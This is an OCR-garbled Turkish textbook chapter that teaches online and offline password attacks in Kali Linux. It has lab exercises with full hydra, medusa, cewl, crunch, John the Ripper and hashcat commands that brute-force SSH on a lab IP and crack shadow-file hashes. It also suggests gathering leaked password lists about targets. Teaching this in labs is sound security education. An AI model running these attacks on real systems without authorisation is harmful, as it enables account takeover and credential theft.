Anlik calisan sistem Uzerinde cesitli aracglarla parola denemeleri yaparak, kelime listelerini
(wordlist) parola alanlarina uygulayarak veya calisan sistemi dinleyip, parolalari ¢éziimleyerek
yapilan saldirilara gevrimici (on-line) parola ataklari denir. Burada amag, halihazirda galisan
sistemin parolasini tespit etmektir.

Kali Linux isletim sisteminde parola ataklari yapabilmek icin bircok ara¢ bulunmaktadir.
Cevrimigci parola saldirilari yapabilecek araglara Uygulamalar, Kali Linux, Password Attacks, Online
Attacks yolu kullanilarak ulasilabilir (Gorsel 6.1).

Gorsel 6.1: Kali Linux cevrimigi atak mensii
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Cevrimici atak yapacak meni incelendiginde bircok arag¢ bulundugu goérilir. Cevrimigi ataklar
mendsiinde acccheck, burpsuite, cewl, hydra, findmyhash, ncrack, medusa vb. araclar agik
kaynak kodlu olarak bulunur. Kullanilacak atak tiirline gore uygun araglar segilerek parola kirma
saldirisi diizenlenebilir.

6.2.1.1. Kaba Kuvvet Saldirilar

Parolayi elde etmek icin deneme yanilma yontemi kullanilarak yapilan atak tirlerine kaba
kuvvet saldirilari denir. Bu yontem, saldirganlar tarafindan ¢ok tercih edilir. Yontemin uygulanis
kolayhgi, saldirganlarin bu tip saldirilara olan ilgisini artirir. Parolanin karmasikhgi, ¢6ziim siresini
uzatir. Bazen bir parolanin ¢6zimu icin saldirganlar giinlerce bu yontemi kullanarak atakta
bulunur.

Parolalari deneme yanilma yontemi kullanarak ¢6zmek bir hayli zordur. Bu nedenle saldirganlar
bazi araclari kullanarak islerini kolaylastirmaya calisir. Kali Linux isletim sistemi on-line araglar
mendsiinde bulundan hydra araci ile kaba kuvvet saldirilari diizenlenebilir.

Hydra araci; FTP, SMTP, POP3, SSH, RDP, TELNET gibi bircok uzaktan erisim protokolini
destekler. Hydra araci, belirlenen servislere kaba kuvvet saldirisi gerceklestirmeyi kolaylastirir.
Cesitli kelime listeleri kullanilarak ayni anda bir veya birden fazla hedefe parola kirma ataklari
diizenlenebilir.

Kelime listesi; icinde rakamlar, biylk ve kiiclik harflerden olusan kelimeler ve 6zel karakterler
barindiran, parola olma ihtimali bulunan kombinasyonlarin bir arada bulundugu listelerdir. Bu
listeler, kullanicilar tarafindan hazirlanabildigi gibi internet Gzerinde bircok yerden (icretsiz veya
Ucretli olarak temin edilebilir. Kelime listeleri genellikle kaba kuvvet saldirilarinda kullanilir.
Kaba kuvvet saldirilarina deneme kaynagi olusturan kelime listelerinin icinde barindirdigi
kelimelerden biri sistemin sifresi oldugu takdirde atak basariyla sonuglanir. Kelime listesi parolayi
barindirmiyorsa atak sonugsuz kalir ve kelime listesi kullanissiz olur. Saldirinin basariyla
sonuglanmasi igin kelime listeleri atak yapilan yere uygun ve listelerin icerigi genis olmalidir.

Hydra araci kelime listelerini kullanarak FTP, SMTP, POP3, SSH, RDP, TELNET gibi protokollere
ataklar diizenleme imkani saglar ve diger araglara gore daha hizlidir. Hydra araci, Kali
Linux isletim sistemi ile hazir bir sekilde gelmektedir. Farkli bir Linux slrimi
kullantliyorsa Linux dagitiminin terminaline “sudo apt-get install hydra” komutu vyazilarak
isletim sistemine bu arag yiklenmelidir.
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Hydra aracina Uygulamalar, Kali Linux, Password Attacks, Online Attacks, hydra yolu kullanilarak
ulasilabilir (Gorsel 6.2).

Gorsel 6.2: Kali isletim sistemi hydra ve hydra-gtk araglarina ulagim

Hydra Komut Yapisi

hydra -I <kullanici adi> -P <parola> <ip adresi> <servis>
hydra -l user —P passlist.txt ftp://192.168.0.1

Yukaridaki komut yazildigi takdirde belirtilen IP adresinin FTP portuna kaba kuvvet saldirisi
gerceklestirilir. Bu saldirida kullanici adi “user” olarak denenirken parolalar icin “passlist.txt”
kelime listesi olusturulmustur. Olusturulan bu dosya icinde bulunan degerler saldiri icin kullanilir.

Hydra Parametreleri

-I: Kullanici adi biliniyorsa bu parametre ile birlikte kullanicr adi yazilir.
-L: Belirtilen dosya icinden kullanici adini tarar.

-p: Parola biliniyorsa bu parametre ile birlikte parola yazilir.
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-P: Belirtilen dosya iginden parolayi tarar.

-V: Denenen kombinasyonlari ekrana yazdirir. -f / -F: Kullanici adi ile sifre bulundugunda

islemi durdurur.

-s Port Numarasi: Servis varsayilan portta degil de baska bir portta ¢alisiyor ise parametre ile
birlikte port tanimlanir.

-e nsr: Bos parola oldugunda veya kullanici adi ile parolanin ayni oldugu durumlari tarar.

-h: Hydra ile kullanilacak parametrelerin hepsinin adini ve gorevini yazar.

Yukarida sikhkla kullanilan parametrelerin goérevleri verilmistir.  Tum parametrelerin
gorilebilmesiicin “hydra —h” komutu uygulanir.

Hydra Araciyla Kaba Kuvvet Saldirisi

1. UYGULAMA

Asagidaki islem adimlarina gére hydra aracini kullanarak 192.168.138.128 IP adresine sahip
cihazin SSH servisinin kullanici adini (root) ve parolasini (1234) elde etmek icin kaba kuvvet
saldirisi gerceklestiriniz.

1. Adim: Hydra aracini Kali Linux isletim sisteminde Uygulamalar, Kali Linux, Password Attacks,

Online Attacks, hydra yolunu kullanarak aginiz.

2. Adim: Parola saldiristicin ihtiyac duyulan kelime listesini, yazi hazirlama editoriint kullanarak
(Vim, Nano vb.) icinde asagidaki parolalar ve kullanici adlari olacak sekilde iki farkli dosya halinde
hazirlayiniz ve kullanici adlarini “users.txt”, parolalari “pass.txt” olarak masaistiine kaydediniz
(Gorsel 6.3).

Dosya igerikleri
user.txt pass.txt
admin 1234
user 12345
kullanici 123456
siber 4321
bilisim 5432
root 654321
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Gorsel 6.3: Kelime listesinin hazirlanip konumlandirilmasi

3. Adim: Kali isletim sistemi terminalini kullanarak asagida belirtilen komutlari giriniz ve
kelime listesinin dogrulugunu kontrol ediniz (Gorsel 6.4).

root@Kali: cd Desktop
root@Kali:/Desktop more users.txt

root@Kali:/Desktop more pass.txt

Gorsel 6.4: Kelime listesinin dogrulugunun kontrolii

204 I Parola Ataklari



4. Adim: Hydra aracina kelime listesinin kontrolini sagladiktan sonra yapilacak saldiriile ilgili
komutu giriniz (Gorsel 6.5).

root@Kali:/Desktop hydra -L users.txt —P pass.txt 192.168.138.128 ssh

Gorsel 6.5: hydra komut yazimi

5. Adim: Saldiri sonucunda kelime listesinde dogru kullanici adi ve sifresi eslestiginde saldiri
basarili olacaktir. Saldiri sonucunu goérintileyiniz (Gorsel 6.6).

Gorsel 6.6: hydra komut giktisi

. SIRA SiZDE

Hydra komut satiri ile yapilan kaba kuvvet saldirisini hydra-gtk aracini kullanarak ayni sekilde

fakat grafiksel araylizde gercgeklestiriniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LIiSTESI

OLCUTLER EVET | HAYIR
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Kaba kuvvet saldirilarinin gerceklestirilebilecegi aracglardan bir digeri de medusa isimli acik
kaynak kodlu aractir. Medusa araci, hydra gibi birden fazla hedefe saldiri yapabilir ve bu saldirilar
icin kelime listelerini kullanir. Medusa ile hedef cihazlarda AFP, CVS, FTP, HTTP, IMAP, MS-SQL,
MySQL, NNTP, PcAnywhere, POP3, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP,
SSHv2, TELNET portlarina ve servislerine parola ataklari gerceklestirmek mimkiindiir. Medusa
aracina Uygulamalar, Kali Linux, Password Attacks, Online Attacks, medusa yolu kullanilarak
ulasilabilir (Gorsel 6.7).

Gorsel 6.7: Kali isletim sisteminde medusa aracina ulagim

Medusa Komutlari

medusa -h 192.168.138.128 -u "root" -P parolalistesi.txt -M http
medusa -h 192.168.138.128 -u "root" -P parolalistesi.txt -M ftp
medusa -h 192.168.138.128 -u "root" -P parolalistesi.txt -M telnet

Medusa Parametreleri

-h: Sadece tek bir hedefe saldiri yapilacaginda kullanilir.

-H: Birden fazla hedefe yapilacak saldirilarda kullanilir.

-u: Kullanici adi bilinen bir saldiri yapilacaginda kullanilir.

-U: Birden fazla kullanici adi kelime listesinden deneneceginde kullanilir.
-p: Sifresi bilinen bir saldiri yapilacaginda kullanilir.

-P: Birden fazla sifre kelime listesinden deneneceginde kullanilr.
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-m: Bu parametre ile hedefteki servis bilgisi tanimlanir.
-b: Yapilan islemlerin satir satir géztikmesi istenilmediginde kullanilir.
-d: Medusa ile kullanilabilecek parametrelerin tamamini listeler.

-F: Parola ve kullanici adi bulunursa yapilan islemin sonlanmasini saglar. Aksi halde parola ve
kullanici adi bulunsa dahi denemeler devam eder.

2. UYGULAMA

Medusa Araciyla Kaba Kuvvet Saldirisi

Asagidaki islem adimlarina gére medusa aracini kullanarak 192.168.138.128 IP adresine
sahip cihazin SSH servisinin kullanici adi (root) ve parolasini (1234) elde etmek i¢in kaba kuvvet

saldirisi gerceklestiriniz.

1. Adim: Medusa aracini Kali Linux isletim sisteminde Uygulamalar, Kali Linux, Password
Attacks, Online Attacks, medusa yolunu kullanarak aginiz (Gorsel 6.8).

Gorsel 6.8: medusa aracinin agilmasi
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2. Adim: Medusa aracina kelime listesinin kontrollni sagladiktan sonra yapilacak saldiri ile
ilgili komutu giriniz (Gorsel 6.9).

root@Kali:/Desktop medusa -h 192.168.138.128 -U users.txt —P pass.txt —M ssh -F

Gorsel 6.9: medusa komut yazimi

3. Adim: Saldiri sonucunda kelime listesinde dogru kullanici adi ve sifresi eslestiginde saldiri
basarili olacaktir. Saldiri sonucunu goériintileyiniz (Gorsel 6.10).

Gorsel 6.10: medusa saldir islemi sonucu

6.2.1.2. Kelime Listesi Olusturma

Parola ataklarinda kaba kuvvet saldirilari icin kullanilacak kelime listelerini daha verimli
saldirilar yapmak adina kullanicinin kendisi olusturabilir. Cesitli yontemlerle olusturulan kelime
listeleri ile hedef cihazlarin parola ve kullanici adlarini daha hizli gdzme sansi elde edilir.

Kelime listesi olusturulmadan énce hedefle ilgili bilgi toplanmalidir. internetten arama
yontemleri ile hedef kisi veya kurum hakkinda daha 6nceden internete sizmis bir parola listesinin
kontroll yapilmalidir. Benzerlik olan bir kelime listesi bulunursa hedefe yonelik dizenlemeler
yapilarak yeni listelerin olusmasi saglanabilir.

Kelime listesi olustururken cewl, crunch, cupp gibi cesitli yontemler bulunmaktadir. Agik
kaynak kodlu araglar kullanilarak cesitli 6zelliklerde kelime listeleri hazirlanabilir.

Cewl araci kullanilarak internet Uzerindeki bir web sitesinin icinde gecen ifadelere gore bir
kelime listesi hazirlanmasi miimkinddr.
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Cewl Parametreleri

-v: Cikan sonucu daha detayli gérmek igin kullanilir.

-d: Bu parametre derinligi ifade etmektedir. Sayisal bir ifade ile birlikte kullanilir. 2. sayfada
aramak i¢in —d 2 seklinde kullaniimalidir.

-w: islem sonucunu istenilen dosya adiyla tercih edilen yere kaydetmeye yarar.
-e: Sitede bulunan e-mail adreslerini ¢ikarir.

-m 6: En az 6 karakter uzunlugundaki kelimelerden olusacak sekilde kelime listesi hazirlar.

3. UYGULAMA

Cewl Araciyla Kelime Listesi Olugturma

Asagidaki islem adimlarina gére hedef web sitesinin icinde gecen ifadeleri kullanarak bir
kelime listesi olusturunuz ve olusturdugunuz kelime listesini “siberkitap.txt” ismiyle masaistiine
kaydediniz.

1. Adim: Cewl aracini Kali Linux isletim sisteminde Uygulamalar, Kali Linux, Password Attacks,
Online Attacks, cewl yolunu kullanarak aginiz (Gorsel 6.11).

Gorsel 6.11: cewl aracinin agilmasi
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2. Adim: Hedef web adresini belirledikten sonra cewl aracinda 2. derinlikte arastirma
yaparak 10 karakterli kelime listesini siberkitap ismiyle masalistiinde olusturunuz (Gorsel 6.12).

root@Kali: cewl —d 2 —m 10 https://hedefwebsitesi —w /root/Desktop/siberkitap

Gorsel 6.12: cewl araciyla liste olusturma

3. Adim: Olusturulan kelime listesi masaistiinde konumlanacaktir. Yapilan islemin sonucunu
goruntileyiniz (Gorsel 6.13).

Gorsel 6.13: Olusturulan listenin goriintilenmesi

- SIRA SiZDE

Cewl! kullanarak hedeflediginiz bir web sitesinden 6 karakterli kelime listeleri olusturunuz.

Arama verilerinde e-mail adreslerinin bulunmasini saglayiniz. Arama derinligini sadece ilk sayfada
tutunuz ve dosyayl masaistiinde parola ismiyle kaydediniz.
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DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LIiSTESI

OLCUTLER EVET | HAYIR

6.2.2. Cevrimdisi Parola Saldirilar

Cevrimdisi saldirilar, anlik olarak hedef sistemin parola ve kullanici adina yonelik atak
yapmaktan farkli sekilde sistemde kullanici adi ve parolalarin saklandigi yere ulasmayi amaglayan
saldirilardir. Sistemde kullanici adi ve parolalar gesitli yontemlerle saklanir. Sifrelenmis (encyption)
veya hash edilmis, bir baska deyisle 6zetlenmis bilgiler seklinde tutulan bu parolalarin bulundugu
dizinlere erisilerek 6zet bilgilerden parolalara ulasilmasi amaglanir.

Kaba kuvvet, sozIlk saldirilari ve rainbow table olmak (zere Ug farkli tirde ¢evrimdisi parola
saldirisi gerceklestirilir.

Kali Linux isletim sisteminde ¢evrimdisi parola ataklari yapabilmek icin birgok arag¢ bulunur.
Cevrimdisi parola saldirilari yapilabilecek araglara Uygulamalar, Kali Linux, Password Attacks,
Offline Attacks yolu kullanilarak ulasilir (Gorsel 6.14).

Gorsel 6.14: Offline Attacks araglari
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Linux tabanh isletim sistemlerinde kullanici bilgileri /etc/passwd dosyasinda saklanir.
Kullanicilarin isimleri ve parolalari ise /etc/shadow dosyasinin icinde sifrelenmis sekilde bulunur.
Shadow dosyasinin igerigi incelendiginde Gorsel 6.15’teki ifade ile karsilasilir.

Gorsel 6.15: shadow dosyasinin igerigi

Root yetkisine sahip kullaniciya ait bilgiler, shadow dosyasinin iceriginde sifrelenmis sekilde
verilir. Dosyadaki ifadeler incelendiginde “:” ile ayrilmis alanlarin oldugu goérilmektedir. Bu
alanlarin ilk kismi, kullanici adini gosterir. Dosyaya bakildiginda kullanici adinin “root” oldugu
gorilir. ikinci ve en 6nemli kisim, parolanin oldugu sifrelenmis kisimdir. Bu alanda “$6$” seklinde
gorintilenen kisim, parola igin hangi 6zet alma algoritmasinin kullanildigini belirtir.

Ozet alma algoritmalari sunlardir:
$1$: md5 algoritmasi

$2yS: Blowfish algoritmasi

$5$: SHA 256 algoritmasi

$6S: SHA 512 algoritmasi
Shadow dosyasi incelendiginde root kullanici parolasinin SHA 512 ile sifrelendigi gorilir.
Ayrilan Gglnci kisim, parolanin 1 Ocak 1970 tarihi ile arasindaki glin sayisini; dérdiinci kisim,
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parola degisikligi icin gereken minimum giin sayisini; besinci kisim, parola degisikligi yapilmasi
icin azami giin sayisini; altincl kisim, parola degisikligi yapilmasi icin kalan giin sayisini; yedinci
kisim, parolanin gecersiz sayildigi glin sayisini ve son kisim ise parolanin gegersiz oldugu giin ile
1 Ocak 1970 tarihi arasindaki giin sayisini verir. Ozet bilgilerde parola siireleri ayarlanmissa bu
bilgiler gorilebilir fakat parolalar, sifrelenmis algoritmalarla goruliir ve bu algoritmalari ¢ozmek
icin gesitli araglara ihtiyag duyulur.

6.2.2.1. Cevrimdisi Kaba Kuvvet Saldirilan

John the ripper, ¢evrimdisi bir parola atak aracidir. Hash kirma araci olarak kullanilan john
oldukca pratik bir aractir. Cevrimdisi atak yapmak icin dncelikle hedef makineye sizilmasi ve hash
dosyalarinin ele gecirilmesi gerekir. Ele gecirilen hash dosyalarinda yapilacak ataklarla sifreler
¢oOzllerek parolalarin elde edilmesi miimkinddr.

Passwd ve shadow hash dosyalari gériinir olarak gelmez. Gerek komut satirindan “unshadow”
komutunu uygulayarak gerekse sistem (izerinden gorinir yaparak bu dosyalar goriintilenebilir.

John the ripper Aracinin Parametreleri ve Kullanimi
--help: Bu arag ile kullanilacak parametrelerin listesini ve parametrelerin islevlerinin bilgisini
verir.

--format: Sifreleme algoritmasinin ne olduguna gore 6zel ¢6ziim yapmak icin kullanihr.

ORNEK: --format=sha512crypto

Show: Hash bilgisi ¢dzlilen sifrenin ne oldugunu ekranda goruntdler.

john [parametre] sifreli_dosya_yolu seklinde kullanihr.

John the ripper, kullaniciya bircok parola kirma yontemini saglar. Single Crack, sozliik listesi ve
kuralli sozliik listesi john araci ile uygulanabilecek ¢evrimdisi saldiri yontemlerindendir.

e Single Crack Modu: Bu modda john araci, yaygin kullanilan parolalari deneyerek sifreyi
¢6zmeye calisir. internetten elde edilmis parolalari deneyen bu mod ile yaklasik 5000
adet yaygin parola, sifreyi kirmak icin denenir.

ORNEK: john —single sifre.txt

e Kelime Listesi Kullanarak Sifre Kirma: Bu mod ile john araci belirtilen kelime listelerini
uygulayarak, sifreyi kirip parolayi elde etme amacindadir.

John the ripper araci ile kurallar belirtilerek sifre ¢c6zimin filtreleme sansi yakalanir. Boyle-
likle sifreyi ¢gdzmek igin zaman kazanilir. Bu aragta maksimum ve minimum parola uzunluklari,
ozel karakter kullanilip kullanilmayacagi, hangi 6zel karakterlerin kullanilacagi veya alfanumerik
degerlerin olup olmayacagi kullanici tarafindan belirlenebilir.
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4. UYGULAMA

John Araciyla Parola Saldirisi

Asagidaki islem adimlarina gore hash bilgileri ele gegirilmis bir cihazin hash dosyasini john the
ripper araclyla analiz ederek root kullanicisinin parolasini elde ediniz.

1. Adim: John aracini Kali Linux isletim sisteminde Uygulamalar, Kali Linux, Password Attacks,
Offline Attacks, john yolunu kullanarak aginiz (Gérsel 6.16).

Gorsel 6.16: john aracinin agilmasi

2. Adim: Elde ettiginiz hash dosyasini masalstiine “sifreroot” ismiyle kaydediniz ve asagidaki
komutlari uygulayarak hash dosyasinin igerigini gériintileyiniz (Gorsel 6.17).

root@Kali: cd Desktop
root@Kali:/Desktop cat sifreroot

Gorsel 6.17: Hash dosyasinin igeriginin gériintiilenmesi
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a@x=

icerige bakildiginda root kullanicisinin $6S, bir diger ifadeyle SHA 512 kullanilarak sifrelendigi

anlasilir.

3. Adim: MasaUstiinde 6zet hash bilgileri bulunan “sifreroot” dosyasina john araci ile asa-
gidaki komutlarla atak gercgeklestirip parolayi elde ediniz (Goérsel 6.18).

root@Kali: cd Desktop

root@Kali:/Desktop john sifreroot --show

Gorsel 6.18: Yapilan islem sonucunda parolanin elde edilmesi

Yapilan islem sonucunda root parolasinin 1234 olarak ele gecirildigi gorulir.

SIRA SiZzDE

md5 sifreleme kullanilmis bir parolanin dosyasini ele geciriniz veya dosyay! siz olusturup
parolasini john araci ile ¢ozimleyiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR
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Hashcat araci ile 6zet bilgisi olan birgok sifrelenmis bilginin parolasi elde edilebilir. CPU tabanli
islem yapan hashcat araci ayni zamanda GPU kullandigi icin cok daha hizli bir sekilde sifre ¢gzme
islemi gercgeklestirilebilir. Hashcat aracinin birgok parametresi bulunur.

Hashcat Aracinin Kullanimi
hashcat [parametre] dosyanin_yolu [mask/kelime listesi/sozlik listesi dizini]

hashcat -m 0 -a 0 hashdosyasi.txt pass.txt

Yukarida yazan komut incelendiginde -m 0 parametresi ile md5 sifreleme kullanilarak
olusturulmus bir parolanin ¢ézlilmek istendigi gorilir. -a 0 ise direkt saldiri parametresidir.
Hashcat oldukga hizli bir sifre ¢dzlicldir. Hashdosyasi.txt’in iceriginde bulunan md5 sifrelerini
pass.txt icinde bulunan kelime listeleri ile deneyerek ¢ézmeye ¢alisir, sifreler eslestigi takdirde
hashcat parolalari ¢ozer.

- SIRA SiZDE

icinde “siber” kelimesinin gectigi bir kelime listesi olusturup masaistiine “listesifre.txt”

ismiyle kaydediniz. internet lizerinden md5 sifreleme yapan siteler bulup, siber ve giivenlik
kelimelerini md5 sifreleme kodlarini kopyalayarak “md5olustur.txt” dosyasina kaydediniz. Kali
Linux ile hashcat aracini kullanarak sifreyi ¢oziimleyiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

—
—
e rac ek i [ [

OLCUTLER

6.2.2.2. Sozluk Saldirilan

Sozlik saldirilarinda elde bulunan hazir parola listelerinden yararlanilir. Hedef sisteme
atak yapilmak istendiginde parola listelerinin oldugu hazir dosyalar kullanilir ve sifreler kisa
sirede ¢ozilar. Dinya Uzerinde belli basl sistematik parolalar, dogum tarihleri, ad ve soyadi
kombinasyonlari, cep telefonlari, bolgesel ve sehirsel 6zellikler, hayvan adlari, takim isimleri
gibi yaygin kullanima sahip olan parola setlerinin olusturuldugu sozliik listeleri bu saldiri
tiriinde kullanilir. internet ortaminda {cretsiz veya parayla satilan sozliik listeleri bulunur.
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Daha oOnceden sifresi kirilimis, veri tabani ¢ozimlenmis ve bilgileri toplanmis cesitli sozlik
dosyalariyla internette sikga karsilasilir.

Sozluk saldirilari mantik olarak kaba kuvvet saldirilarina benzer. SézIlik saldirilarini kaba
kuvvet saldirilarindan ayiran nokta, deneme ihtimallerinin 6zellestiriimesi ve denenme
sureglerinin farkli olmasidir. Bu atak tlriinde oncelikle bir sozliik listesi olusturulur. Bu sozllik
listesi, kullanicinin belirledigi kelimeler, rakamlar ve 0Ozel karakterlerden olusur. Coziilmeye
cahsilan sifre ile ilgili ne kadar bilgi toplanirsa o kadar Ozellestirilmis s6zlUk listelerinin
olusturulmasi saglanir. Sozlik listelerinin olusturulmasinin ardindan bu listeler kullanilarak saldiri
gerceklestirilir. Glinlimiizde bu tarz saldirilari 6nlemek adina sifre giris alanlari belli sayilarla
sinirlandirilarak strekli denemenin 6niline gecilmektedir.

Crunch, Kali Linux off-line password menistinde hazir olarak gelen bir sozlik listesi olusturma
aracidir. Crunch, kullanicinin istegine gore 0zellestirilmis kelime listeleri hazirlayarak kullanmasini
saglayan kelime listesi olusturma aracidir. Kelime listelerinin yetersiz kaldigi anlarda crunch ile
olusturulmus sozlik listeleri cok 6nemli islev gordar.

Crunch Kullanimi

Terminal programina crunch yazarak bu araca ulasmak mimkuindur.
Crunch <min> <max> (6zellestirilmis secenekler) seklinde bir kullanimi bulunur.

Min: Minimum karakter sayisi

Max: Maksimum karakter sayisi

Segenek: -0, -p, -b, -f gibi kisinin istegine birakilan parametreler bulunur.
Terminale Man crunch yazilarak parametreler ve kullanimlari hakkinda detayli bilgi alinabilir
(Gorsel 6.19).

Gorsel 6.19: cruch araci ve kullanimi

Crunch araci ile birlikte gelen karakter kiimeleri vardir. Bu kiimeler kullanilarak 6zellestirilmis
sozluk listeleri olusturulabilir. Bu kiimelerden faydalanilarak kullaniciya 6zgi yeni sozliik listeleri

olusturulabilir.
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Crunch, ozellestirilmis sozlik listeleri olusturulmasina yardimci olurken charset.lst isimli
dosyay! kullanir. Bu dosyanin iceriginde c¢esitli karakter kimeleri bulunur ve bu kiimeler
dzellestirilerek soézliik listeleri olusturulur. Ornegin yalnizca rakamlar tercih edilecekse dosyada
bu gruba verilen numerics charseti kullaniimalidir. charset.Ist dosyasinin icerigini ve karakter
kiimelerini goriintiilemek icin Gorsel 6.20’de verilen komut girilmelidir.

Gorsel6.20:charset.Istigeriginingoériintiilenmesi

Charset icinde bulunan kiimelerden uygun olanlar secilip, komut dizini olusturularak sozliik
listesi hazir hale getirilebilir.

Yalnizca rakamlardan olusan minimum 1, maksimum 4 karakterli yeniliste.txt isimli bir s6zlUk
listesi olusturulmak istendiginde asagidaki komut satiri uygulanmalidir.

root@Kali: crunch 1 4 -f /usr/share/crunch/charset.Ist numeric -o yeniliste.txt

Yukaridaki ifade -f parametresi ile charset kiime degerini numeric olarak tanimlar. -o
parametresi ile de cikti verilecek dosya olusturulur. Yer belirtiimemisse root klasérinin icinde
yeniliste.txt isimli sozliik dosyasi gérintilenebilir (Gorsel 6.21).

Gorsel 6.21: crunch araciyla liste olugturma
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Dosyanin igerigi incelendiginde minimum 1 karakterli, maksimum 4 karakterli numerik bir
sozluk listesinin olustugu gorilir (Gorsel 6.22).

Gorsel 6.22: Olusturulan listenin igerigi

Crunch aracinda -t parametresi ile kullanilabilen bazi karakterler ve gorevleri su sekildedir:

e @ isareti kiiclik harfli karakterleri yazdirmak icin kullanilhr.
e, isareti buyuk harfli karakterleri yazdirmak icin kullanilir.
® % isareti rakam yazdirmak igin kullanilir.

e N jsareti Ozel karakterler yazdirmak igin kullanilir.

- 5.UYGULAMA

Crunch Araciyla Sézliik Listesi Olugturma

Asagidaki islem adimlarina gore crunch aracini kullanarak 10 karakterli, ilk dort karakteri
1881, son 2 karakteri mk olan ve diger karakterlerinin tamami biyilk harflerden olusan sozlik
listesini olusturunuz ve “tutumluolun.txt” isminde dosyaya kaydediniz.

1. Adim: Kali Linux isletim sisteminin terminaline crunch yazarak araca gegis yapiniz.
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2. Adim: Asagida belirtilen komutlari girerek oOzellestirilmis sozllk listesini olusturunuz
(Gorsel 6.23).

root@Kali: crunch

root@Kali: crunch 10 10 -t 1881,,,,mk —o tutumluolun.txt

Gorsel 6.23: istenilen sozliik listesinin olusturulmasi

a@ =

Sozluk listesinde geri kalan dort karakterin buyldk harf olmasi istendigi icin “” isareti
kullaniimistir.

3. Adim: Olusturulan tutumluolun.txt isimli s6zllk listesini root klasoériini agarak kontrol edi-
niz (Gorsel 6.24).

Gorsel 6.24: Sozliik listesinin giktisi
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- SIRA SiZDE

9 karakterden olusan bir sozlik listesi icin ilk 3 karakterin 123 olmasi, sonraki 3 karakterin
kiicik harf icermesi, son 3 karakterin ise Ozel karakter olmasi istenir. Belirtilen kosullar-
daki s6zlik listesini olusturunuz ve durustolun.txt ismiyle root klasoriine kaydediniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR

6.2.2.3. Rainbow Tablolari

Rainbow table parolalarin diiz ve sifrelenmis halinin, bir baska deyisle hash halinin bulundugu
tablolardir. Parola temelli kullanici dogrulama islemleri igin sistemler genellikle kullanici adi ve
parolayi veri tabanlarinda saklar. Parolalari salt olarak saklamak dogru olmayacagi igin parolalar
sifrelenip saklanir. Bu durumda saldirganin her parola icin uygun hash algoritmasini tespit edip,
hash haline eriserek elde ettigi sifrelenmis parolanin dogrulugunu kontrol etmesi gerekir. Rainbow
tablolarinin kolayligi bu noktada devreye girer. Hazirlanmis veya hazir olan kelime listelerindeki
sifreleri tek tek denemek son derece yavas bir islemdir. Rainbow tablosu, icinde parolalarin salt
halini ve hash halini birlikte icerir. Bu sayede sistem her parola icin hash islemini tekrar yapmak
ihtiyaci duymaz, dogrudan hashleri kontrol ederek parolaya erisebilir. Saldirgan, veri tabanina
erisip sifrelenmis parolalari elde ettiginde, rainbow tablosu ile olasi parolalarin sifrelenmis hash
hallerini karsilastirarak herhangi bir kisinin parolasina ulasabilir ve sisteme o kisinin bilgileriyle
giris yaparak gergek bir kullanici gibi davranabilir.

Sistem yoneticileri bu tlr bir saldiriya karsin parolalara rastgele karakterler ekleyerek
parolalarin hash hallerini saklarlar. Key stretching, siber giivenlik uzmanlarinin rainbow tablosu
saldirilarina karsi kullandigi bir diger yontemdir. Bu yontemde salt sifre ve bazl ara karma
degerler, karma fonksiyonunda bir¢ok defa islenir ve her bir sifrenin karma degerini hesaplamak
icin gerekli stirenin uzamasi saglanir. Klasik yéntemle rainbow tablolari karsilastirildiginda zaman
ile bellek arasinda bir tercih durumu vardir. Ne kadar ¢ok bellek ayrilirsa (rainbow) o kadar kisa
zamanda hedefe ulasilir.
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Salt: Veriler hash algoritmalarindan gecirilirken rainbow tablosu saldirilari araciligiyla kolayca
kirtlamasin diye verinin sonuna, basina veya ortasinda bir yere yerlestirilen karakter dizisidir.
e Siber -> hash -> 112312311231

e Siber -> salt(sona +++) -> Siber+++ -> 1823891239812

Tablolar rtgen, ophcrack, SMB hash generator gibi araglarla olusturulabilir, cevrimigi sitelerde
aranabilir veya internetten hazir tablolar indirilebilir. Bu yontemin en biylk problemi, alinacak
onlemlere gore yapilan saldirinin glinlerce siirebilmesidir.

Rainbowcrack, Kali araglariicinde hem rainbow tablolari olusturulmasini hem de bu tablolari
kullanarak saldiri yapilmasini saglayan agik kaynak kodlu bir arac¢tir. Parola kirmanin yani sira rtgen
ile rainbow tablolari olusturur, rtsort ile tablolari siralar, rt2rtc ve rtc2rt ile rainbow tablolarinin
uzantisini degistirir.

Rainbowcrack programina Uygulamalar, Kali Linux, Password Attacks, Offline Attacks,
rainbowcrack yolu kullanilarak ulagilabilir. Araci agtiktan sonra parametreleri ve kullanim
ornekleri ekranda gorintiilenebilir (Gorsel 6.25).

Gorsel 6.25: Rainbow tablosu olusturma ornekleri

¢ Rainbowcrack Kullanimi ve Parametreleri

rtgen Ozet algoritma karakter_seti minimum_karakter_sayisi maksimum_karakter_sayisi
tablolarin_siralanmasi zincir_uzunlugu zincir_sayisi tablo_baslangic_sayisi seklinde kullanimi
bulunur.
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Ozet_algoritma: LM, NT, md5, shal

Karakter_seti: charset.Ist dosyasinda bulunan karakter kiimeleri (alfanumeric, numeric vb.)
Minimum_karakter_sayisi: 1,2,3,...

Maksimum_karakter_sayisi: 1,2,3,...

Tablolarin_siralanmasi: 0,1,2,3,...

Zincir_uzunlugu: ..1000...10000...20000... Her bir zincirin uzunlugu belirtilir. Daha bliyuk
deger, basari oranini artiracaktir ancak bu, parola kirma siiresini de artirir. Uzunluk, parola kirma
slresinin karesiyle dogru orantilidir.

Zincir_sayisi: Uretilecek zincirlerin sayisi belirtilir. Maksimum deger 134217728dir. Bu deger
ile 2 GB’lik bir dosya Uretilecektir.

Tablo_baslangi¢_sayisi: 0, 1, 2,... Her zincir icin baslangi¢ degerinin kag olacagi belirtilir.

a@==

Asagida belirtilen komutlar yazilarak olusturulacak tablo bir hayli kaplar ve rtgen ile 6zet
olusturulmasi da ortalama yirmi dakika strer (Gorsel 6. 26).

Gorsel 6.26: rtgen ile 6zet olusturma

